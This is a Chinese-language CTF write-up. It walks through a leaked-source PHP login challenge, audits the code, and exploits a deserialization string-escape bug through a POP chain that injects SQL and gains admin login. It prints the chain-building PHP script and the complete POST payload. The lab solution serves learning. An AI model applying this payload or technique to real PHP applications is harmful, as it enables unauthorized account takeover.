摘要 文件泄露、代码审计、反序列化
半成品系统 留后门的程序员已经跑路
一个用户登录框,有敏感词过滤,测试不像是sql注入
字典扫描:
发现文件泄露
代码审计
update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php require_once ('lib.php' );echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>' ;if ($_SESSION['login' ]!=1 ){ echo "你还没有登陆呢!" ; } $users=new User(); $users->update(); if ($_SESSION['login' ]===1 ){ require_once ("flag.php" ); echo $flag; } ?>
可以看到这个获取flag的方法,登录就行;fuzz的时候发现了admin
账户是存在的
lib 类库:
1 2 3 4 class User 用户操作 class Info 用户信息 Class UpdateHelper 信息更新帮助类 //似乎没完善 class dbCtrl 数据操作类
登录逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function login ( ) { if (isset ($_POST['username' ])&&isset ($_POST['password' ])){ $mysqli=new dbCtrl(); $this ->id=$mysqli->login('select id,password from user where username=?' ); if ($this ->id){ $_SESSION['id' ]=$this ->id; $_SESSION['login' ]=1 ; echo "你的ID是" .$_SESSION['id' ]; echo "你好!" .$_SESSION['token' ]; echo "<script>window.location.href='./update.php'</script>" ; return $this ->id; } }
$mysqli=new dbCtrl();
数据层:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function login ($sql ) { $this ->mysqli=new mysqli($this ->hostname, $this ->dbuser, $this ->dbpass, $this ->database); if ($this ->mysqli->connect_error) { die ("连接失败,错误:" . $this ->mysqli->connect_error); } $result=$this ->mysqli->prepare($sql); $result->bind_param('s' , $this ->name); $result->execute(); $result->bind_result($idResult, $passwordResult); $result->fetch(); $result->close(); if ($this ->token=='admin' ) { return $idResult; } if (!$idResult) { echo ('用户不存在!' ); return false ; } if (md5($this ->password)!==$passwordResult) { echo ('密码错误!' ); return false ; } $_SESSION['token' ]=$this ->name; return $idResult; }
我们要利用这个“后门”,获取admin权限
反序列化 1 2 3 4 5 6 7 public function update ( ) { $Info=unserialize($this ->getNewinfo()); $age=$Info->age; $nickname=$Info->nickname; $updateAction=new UpdateHelper($_SESSION['id' ],$Info,"update user SET age=$age ,nickname=$nickname where id=" .$_SESSION['id' ]); }
unserialize($this->getNewinfo()); 利用序列化传递实体类信息
1 2 3 4 5 public function getNewInfo ( ) { $age=$_POST['age' ]; $nickname=$_POST['nickname' ]; return safe(serialize(new Info($age,$nickname))); }
生成Info
类的实例,并序列化传递
safe 检测:
1 2 3 4 function safe ($parm ) { $array= array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace($array,'hacker' ,$parm); }
替换……如果可以构建反序列化字符串逃逸 ,那序列化字符串将是不安全的
找一下魔法方法:
1 2 3 4 public function __destruct ( ) { return file_get_contents($this ->nickname); }
似乎是一个点,但不完全是……因为被过滤了
1 2 3 4 5 public function __destruct ( ) { echo $this ->sql; }
-> tostring
1 2 3 4 5 6 public function __toString ( ) { $this ->nickname->update($this ->age); return "0-0" ; }
-> call
1 2 3 4 public function __call ($name,$argument ) { echo $this ->CtrlCase->login($argument[0 ]); }
可以调一个login方法,login有两个,一个是数据层的一个是用户类的
更底层的数据操作的sql语句是我们可以控制的,我们可以控制一个恒对 的语句返回true的id
结果集
1 2 3 4 select 1,2; _ _ _ _ _ _ _ _ |id |password | |1 |2 |
由于密码是md5的验证
我们可以控制password为1:
1 select 1 ,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
或者控制token为admin即可
pop:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class User { public $age = null ; public $nickname = null ; public function __construct ( ) { $this ->age = "select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?" ; $this ->nickname = new Info(); } } class Info { public $CtrlCase; public function __construct ( ) { $this ->CtrlCase = new dbCtrl(); } } class UpdateHelper { public $sql; public function __construct ( ) { $this ->sql = new User(); } } class dbCtrl { public $name; public $password; public function __construct ( ) { $this ->name = 'admin' ; $this ->password = "1" ; } } $a = new UpdateHelper(); echo serialize($a);
获取序列化对象处:
1 2 3 4 5 public function getNewInfo ( ) { $age=$_POST['age' ]; $nickname=$_POST['nickname' ]; return safe(serialize(new Info($age,$nickname))); }
原本的数据
1 2 3 age=1&nickname=1 O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"1";s:8:"CtrlCase";N;}
在nickname处构建逃逸
对象数据放在CtrlCase
中
符合构建标准后,多余字符被废弃
构建 payload:
1 age=1&nickname=****************************************************unionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}
回显后,登录admin
账号
index:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php require_once "lib.php" ;if (isset ($_GET['action' ])){ require_once (__DIR__ ."/" .$_GET['action' ].".php" ); } else { if ($_SESSION['login' ]==1 ){ echo "<script>window.location.href='./index.php?action=update'</script>" ; } else { echo "<script>window.location.href='./index.php?action=login'</script>" ; } } ?>
session已设置,直接转到updata包含读取flag: